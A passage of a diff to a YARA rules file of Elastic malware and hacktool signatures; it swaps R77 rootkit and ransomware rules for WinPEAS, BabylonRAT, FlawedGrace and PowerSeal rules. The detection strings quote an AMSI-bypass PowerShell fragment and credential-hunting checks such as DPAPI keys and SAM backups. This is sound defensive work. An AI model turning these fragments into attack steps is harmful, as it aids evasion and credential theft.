+		$win_0 = "Processes Information" ascii wide
+		$win_1 = "Interesting Processes -non Microsoft-" ascii wide
+		$win_2 = "Permissions:.*" ascii wide
+		$win_3 = "Possible DLL Hijacking.*" ascii wide
+		$win_4 = "ExecutablePath" ascii wide
+		$win_5 = "Vulnerable Leaked Handlers" ascii wide
+		$win_6 = "Possible DLL Hijacking folder:" ascii wide
+		$win_7 = "Command Line:" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_5Bab748B : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_4A9B9603 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "WinPEAS detection based on the dotNet binary, Services info module"
 		author = "Elastic Security"
-		id = "5bab748b-8576-4967-9b50-a3778db1dd71"
-		date = "2022-03-04"
-		modified = "2022-04-12"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c"
-		logic_hash = "ebf851ef41fde8e3118acc742cd2b38651f662a00f11dd6f7c65cf56019c43d5"
+		id = "4a9b9603-7b42-4a85-b66a-7f4ec0013338"
+		date = "2022-12-21"
+		modified = "2023-02-01"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L205-L231"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "8d78483b54d3be6988b1f5df826b8709b7aa2045ff3a3e754c359365d053bb27"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa"
+		fingerprint = "2a7b0e1d850fa6a24f590755ae5610309741e520e4b2bc067f54a8e086444da2"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104299,28 +108977,36 @@ rule ELASTIC_Windows_Rootkit_R77_5Bab748B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }
+		$win_0 = "Services Information" ascii wide
+		$win_1 = "Interesting Services -non Microsoft-" ascii wide
+		$win_2 = "FilteredPath" ascii wide
+		$win_3 = "YOU CAN MODIFY THIS SERVICE:" ascii wide
+		$win_4 = "Modifiable Services" ascii wide
+		$win_5 = "AccessSystemSecurity" ascii wide
+		$win_6 = "Looks like you cannot change the" ascii wide
+		$win_7 = "Checking write permissions in" ascii wide
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_Eb366Abc : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_4Db2C852 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "WinPEAS detection based on the dotNet binary, System info module"
 		author = "Elastic Security"
-		id = "eb366abc-d256-4dd2-ad97-898fdf905b8a"
-		date = "2023-05-09"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f"
-		logic_hash = "3d6f1c60bf749c53f4a4fcfd6490d309e4450d5f7e64de4665c3d80af1bce44f"
+		id = "4db2c852-6c03-4672-9250-f80671b93e1b"
+		date = "2022-12-21"
+		modified = "2023-02-01"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L233-L261"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "88c88103a055d25ba97f08e2f47881001ad8a2200a33ac04246494963dfe6638"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "beaa87877382a0cba0fcad6397b22bef2ff6dad8e3454ae517b529fbc76ff97a"
+		fingerprint = "f05862b7b74cb4741aa953d725336005cdb9b1d50a92ce8bb295114e27f81b2a"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104328,29 +109014,38 @@ rule ELASTIC_Windows_Rootkit_R77_Eb366Abc : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }
-		$a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }
+		$win_0 = "No prompting|PromptForNonWindowsBinaries" ascii wide
+		$win_1 = "System Information" ascii wide
+		$win_2 = "Showing All Microsoft Updates" ascii wide
+		$win_3 = "GetTotalHistoryCount" ascii wide
+		$win_4 = "PS history size:" ascii wide
+		$win_5 = "powershell_transcript*" ascii wide
+		$win_6 = "Check what is being logged" ascii wide
+		$win_7 = "WEF Settings" ascii wide
+		$win_8 = "CredentialGuard is active" ascii wide
+		$win_9 = "cachedlogonscount is" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_99050E7D : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_Bcedc8B2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "WinPEAS detection based on the dotNet binary, User info module"
 		author = "Elastic Security"
-		id = "99050e7d-b9b2-411f-b315-0ac7f556314c"
-		date = "2023-05-09"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L44-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6"
-		logic_hash = "0fedf4698cc652076090b1fe256d05d2c0bc3ad2ab7ed5faa270c5c7fe0efca1"
+		id = "bcedc8b2-d9e1-45cd-94b4-a19a3ed8c0f9"
+		date = "2022-12-21"
+		modified = "2023-02-01"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L263-L291"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "7f0a6a9168b5ff7cc02ccadd211cc8096307651be65c2b3e7cc9fdbbde08ab9f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1fa724556616eed4adfe022602795ffc61fe64dd910b5b83fd7610933b79d71f"
+		fingerprint = "039ea2f11596d6a8d5da05944796424ee6be66e16742676bbb2dc3fcf274cf4a"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104358,29 +109053,38 @@ rule ELASTIC_Windows_Rootkit_R77_99050E7D : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }
-		$a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }
+		$win_0 = "Users Information" ascii wide
+		$win_1 = "docker|Remote |DNSAdmins|AD Recycle Bin|" ascii wide
+		$win_2 = "NotChange|NotExpi" ascii wide
+		$win_3 = "Current Token privileges" ascii wide
+		$win_4 = "Clipboard text" ascii wide
+		$win_5 = "{0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}" ascii wide
+		$win_6 = "Ever logged users" ascii wide
+		$win_7 = "Some AutoLogon credentials were found" ascii wide
+		$win_8 = "Current User Idle Time" ascii wide
+		$win_9 = "DsRegCmd.exe /status" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_Be403E3C : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_B6Bb3E7C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "WinPEAS detection based on the dotNet binary, Windows credentials module"
 		author = "Elastic Security"
-		id = "be403e3c-a70d-4126-b464-83060138c79b"
-		date = "2023-05-18"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L66-L85"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796"
-		logic_hash = "efbf924c7a299f2543c639b6262007eb3bdbf6ff5e33dab7d6102814b9477811"
+		id = "b6bb3e7c-29f6-4bc6-8082-558a56512fc3"
+		date = "2022-12-21"
+		modified = "2023-02-01"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L293-L321"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "e2eaf91b9c5d3616fb2f6f6bc4b44841b1efa3b4efe7ac72afe225728523af75"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "46fd9d53771a0c6d14b364589a7cfa291a1c0405d74a97beac75db78faea7e0b"
+		fingerprint = "ecc2217349244cd78fa5be040653c02096ee8b6a2f2691309fd7f9f62612fa79"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104388,28 +109092,38 @@ rule ELASTIC_Windows_Rootkit_R77_Be403E3C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }
+		$win_0 = "Windows Credentials" ascii wide
+		$win_1 = "Checking Windows Vault" ascii wide
+		$win_2 = "Identity.*|Credential.*|Resource.*" ascii wide
+		$win_3 = "Checking Credential manager" ascii wide
+		$win_4 = "Saved RDP connections" ascii wide
+		$win_5 = "Recently run commands" ascii wide
+		$win_6 = "Checking for DPAPI" ascii wide
+		$win_7 = "Checking for RDCMan" ascii wide
+		$win_8 = "Looking for saved Wifi credentials" ascii wide
+		$win_9 = "Looking AppCmd.exe" ascii wide
 
 	condition:
-		$a
+		5 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_Ee853C9F : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_94474B0B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "WinPEAS detection based on the bat script"
 		author = "Elastic Security"
-		id = "ee853c9f-97ec-45b2-8c67-7b86331f4946"
-		date = "2023-05-18"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L87-L112"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60"
-		logic_hash = "94f080f310ecace76da32ba2b4edcc80dedfb339113823708167c1d842db8cf3"
+		id = "94474b0b-c3dc-4585-afb3-3afe4c3ec525"
+		date = "2022-12-21"
+		modified = "2023-02-01"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L323-L351"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "e209c9ce1f4b11c5fdeade3298329d62f5cf561403c87077d94b6921e81ffaea"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a2bf137ff29044a1f80494aa4b51bd7aa49ae64808b9f1d4566750b9717b847d"
+		fingerprint = "06e184fb837274271711288994a3e6bfcc2a50472ca05c8af9f1e4d8efd9091d"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104417,34 +109131,37 @@ rule ELASTIC_Windows_Rootkit_R77_Ee853C9F : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$r77_str0 = "$77stager" wide fullword
-		$r77_str1 = "$77svc32" wide fullword
-		$r77_str2 = "$77svc64" wide fullword
-		$r77_str3 = "\\\\.\\pipe\\$77childproc64" wide fullword
-		$r77_str4 = "SOFTWARE\\$77config"
-		$obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }
-		$amsi_patch_ps = "[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)" wide fullword
+		$win_0 = "Windows local Privilege Escalation Awesome Script" ascii wide
+		$win_1 = "BASIC SYSTEM INFO" ascii wide
+		$win_2 = "LAPS installed?" ascii wide
+		$win_3 = "Check for services restricted from the outside" ascii wide
+		$win_4 = "CURRENT USER" ascii wide
+		$win_5 = "hacktricks.xyz" ascii wide
+		$win_6 = "SERVICE VULNERABILITIES" ascii wide
+		$win_7 = "DPAPI MASTER KEYS" ascii wide
+		$win_8 = "Files in registry that may contain credentials" ascii wide
+		$win_9 = "SAM and SYSTEM backups" ascii wide
 
 	condition:
-		($obfuscate_ps and $amsi_patch_ps) or ( all of ($r77_str*))
+		6 of them
 }
-rule ELASTIC_Windows_Rootkit_R77_D0367E28 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Babylonrat_0F66E73B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
+		description = "Detects Windows Trojan Babylonrat (Windows.Trojan.Babylonrat)"
 		author = "Elastic Security"
-		id = "d0367e28-2c37-45c8-8a74-7ea881f2d471"
-		date = "2023-05-18"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Rootkit_R77.yar#L114-L141"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89"
-		logic_hash = "588b18c54c344ca267b86143df20c7dcaab081e0ef6acae0bd0dae61593eb521"
+		id = "0f66e73b-7824-46b6-a9e6-5abf018c9ffa"
+		date = "2021-09-02"
+		modified = "2022-01-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Babylonrat.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4278064ec50f87bb0471053c068b13955ed9d599434e687a64bf2060438a7511"
+		logic_hash = "66223dc9e2ef7330e26c91f0c82c555e96e4c794a637ab2cbe36410f3eca202a"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "c3f6fe38fcc2ec40ae7c033e37f7a2830f5d53f0e796281bd484bdb65502cd0e"
+		fingerprint = "3998824e381f51aaa2c81c12d4c05157c642d8aef39982e35fa3e124191640ea"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104452,65 +109169,60 @@ rule ELASTIC_Windows_Rootkit_R77_D0367E28 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$str0 = "service_names" wide fullword
-		$str1 = "process_names" wide fullword
-		$str2 = "tcp_local" wide fullword
-		$str3 = "tcp_remote" wide fullword
-		$str4 = "startup" wide fullword
-		$str5 = "ReflectiveDllMain" ascii fullword
-		$str6 = ".detourd" ascii fullword
-		$binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }
-		$binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }
+		$a1 = "BabylonRAT" wide fullword
+		$a2 = "Babylon RAT Client" wide fullword
+		$a3 = "ping 0 & del \"" wide fullword
+		$a4 = "\\%Y %m %d - %I %M %p" wide fullword
 
 	condition:
-		( all of ($str*)) or $binary0 or $binary1
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Blackmatter_B548D151 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Skidmap_Aa7B661D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Blackmatter (Windows.Ransomware.Blackmatter)"
+		description = "Detects Linux Trojan Skidmap (Linux.Trojan.Skidmap)"
 		author = "Elastic Security"
-		id = "b548d151-5dde-459b-9d4a-b4a48c1b5545"
-		date = "2021-08-03"
-		modified = "2021-10-04"
+		id = "aa7b661d-0ecc-4171-a0c2-a6c0c91b6d27"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Blackmatter.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "072158f5588440e6c94cb419ae06a27cf584afe3b0cb09c28eff0b4662c15486"
-		logic_hash = "cf76a311de9d292a2ea09b3937b8eb7fd761b7c33a464a31acf6b9a5bf121959"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Skidmap.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4282ba9b7bee69d42bfff129fff45494fb8f7db0e1897fc5aa1e4265cb6831d9"
+		logic_hash = "aa976158d004d582234a92ff648d4581440f9c933a0abef212d9d837d9607ba4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "351658f8fe3f9c956634e3cf7a03b272c55359f069c5200e948d817c6b554c87"
+		fingerprint = "0bd6bec14d4b0205b04c6b4f34988ad95161f954a1f0319dd33513cb2c7e5f59"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 93 F0 DA 07 E7 F0 DA 07 E0 5B 99 65 47 38 96 6C 75 91 65 46 5A D0 B0 25 DA 90 42 CE F1 73 10 B1 14 BD 3C EC FD 7C AF 9B 8D 86 89 A5 FF C0 3F 78 57 8E E2 AD 2E 3A 2F 74 79 B1 FE 27 69 6B 9F 97 CE C8 67 88 1A 0B 01 F1 B7 76 35 18 E8 FF E1 D7 66 8C 41 03 EB F8 64 E5 7E F1 06 73 AB BF 6B 1D 6A B9 B6 BA 41 A2 91 49 5E 85 51 A0 83 23 46 D6 E0 E5 0F C2 53 89 2A 35 94 AF FC 87 A0 D8 08 E7 B8 DB 08 E7 78 22 E5 7E AE BB EF 16 87 08 3C 47 F0 49 1E 0D 2D 9A 1B 55 54 05 14 69 A3 1B 9C 7A 97 7B CF 85 2B 09 F9 DC 2C EB A6 55 F1 A0 07 B4 AA 80 EA ED 26 87 C0 }
+		$a = { E8 41 41 80 F8 1A 41 0F 43 C1 88 04 0E 48 83 C1 01 0F B6 04 0F }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Blackmatter_8394F6D5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Flawedgrace_8C5Eb04B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Blackmatter (Windows.Ransomware.Blackmatter)"
+		description = "Detects Windows Trojan Flawedgrace (Windows.Trojan.FlawedGrace)"
 		author = "Elastic Security"
-		id = "8394f6d5-4761-4df6-974d-eaa0a25353da"
-		date = "2021-08-03"
-		modified = "2021-10-04"
+		id = "8c5eb04b-301b-4d05-a010-3329e5b764c6"
+		date = "2023-11-01"
+		modified = "2023-11-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Blackmatter.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "072158f5588440e6c94cb419ae06a27cf584afe3b0cb09c28eff0b4662c15486"
-		logic_hash = "50a9b65ca6dde4fc32d2d57e72042f4380dd6c263ec5c33ce7c158151b91a5ae"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_FlawedGrace.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "966112f3143d751a95c000a990709572ac8b49b23c0e57b2691955d6fda1016e"
+		logic_hash = "dc07197cb9a02ff8d271f78756c2784c74d09e530af20377a584dbfe77e973aa"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3825f59ffe9b2adc1f9dd175f4d57c9aa3dd6ff176616ecbe7c673b5b4d414f8"
+		fingerprint = "46ce025974792cdefe9d4f4493cee477c0eaf641564cd44becd687c27d9e7c30"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104518,29 +109230,31 @@ rule ELASTIC_Windows_Ransomware_Blackmatter_8394F6D5 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { FF E1 D7 66 8C 41 03 EB F8 64 E5 7E F1 06 73 AB BF 6B 1D 6A B9 B6 BA 41 A2 91 49 5E 85 51 A0 83 23 }
+		$a1 = "Grace finalized, no more library calls allowed." ascii fullword
+		$a2 = ".?AVReadThread@TunnelIO@NS@@" ascii fullword
+		$a3 = ".?AVTunnelClientDirectIO@NS@@" ascii fullword
+		$a4 = ".?AVWireClientConnectionThread@NS@@" ascii fullword
+		$a5 = ".?AVWireParam@NS@@" ascii fullword
 
 	condition:
-		any of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Carberp_D6De82Ae : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Powerseal_D63F5E54 : FILE MEMORY
 {
 	meta:
-		description = "Identifies VNC module from the leaked Carberp source code. This could exist in other malware families."
+		description = "Detects Windows Trojan Powerseal (Windows.Trojan.PowerSeal)"
 		author = "Elastic Security"
-		id = "d6de82ae-9846-40cb-925d-e0a371e1c44c"
-		date = "2021-02-07"
-		modified = "2021-08-23"
-		reference = "https://github.com/m0n0ph1/malware-1/blob/master/Carberp%20Botnet/source%20-%20absource/pro/all%20source/hvnc_dll/HVNC%20Lib/vnc/xvnc.h#L342"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Carberp.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f98fadb6feab71930bd5c08e85153898d686cc96c84fe349c00bf6d482de9b53"
-		logic_hash = "085020755c77b299b2bfd18b34af6c68450c29de67b8ae32ddf2b26299b923ae"
+		id = "d63f5e54-6be1-453d-a96e-083a025deba2"
+		date = "2023-03-16"
+		modified = "2023-05-26"
+		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PowerSeal.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "523dcff68a51ea8fb022066b5f09394e8174d6c157222a08100de30669898057"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7ce34f1000749a938b78508c93371d3339cd49f73eeec36b25da13c9d129b85c"
-		threat_name = "Windows.Trojan.Carberp"
+		fingerprint = "bc63511a0b12edaf7a2ace02f79ab9a2dbea5a0879fd976cc91308f98bac1c52"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104548,92 +109262,90 @@ rule ELASTIC_Windows_Trojan_Carberp_D6De82Ae : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = ".NET CLR Networking_Perf_Library_Lock_PID_0" ascii wide fullword
-		$a2 = "FakeVNCWnd" ascii wide fullword
+		$a1 = "PowerSeal.dll" wide fullword
+		$a2 = "InvokePs" ascii fullword
+		$a3 = "amsiInitFailed" wide fullword
+		$a4 = "is64BitOperatingSystem" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Tmcomm_333F3851 : FILE
+rule ELASTIC_Windows_Trojan_Powerseal_2E50F393 : FILE MEMORY
 {
 	meta:
-		description = "Name: TmComm.sys, Version: 8.0.0.0"
+		description = "Detects Windows Trojan Powerseal (Windows.Trojan.PowerSeal)"
 		author = "Elastic Security"
-		id = "333f3851-5d99-4b22-8af5-1587e9e44ea4"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_TmComm.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
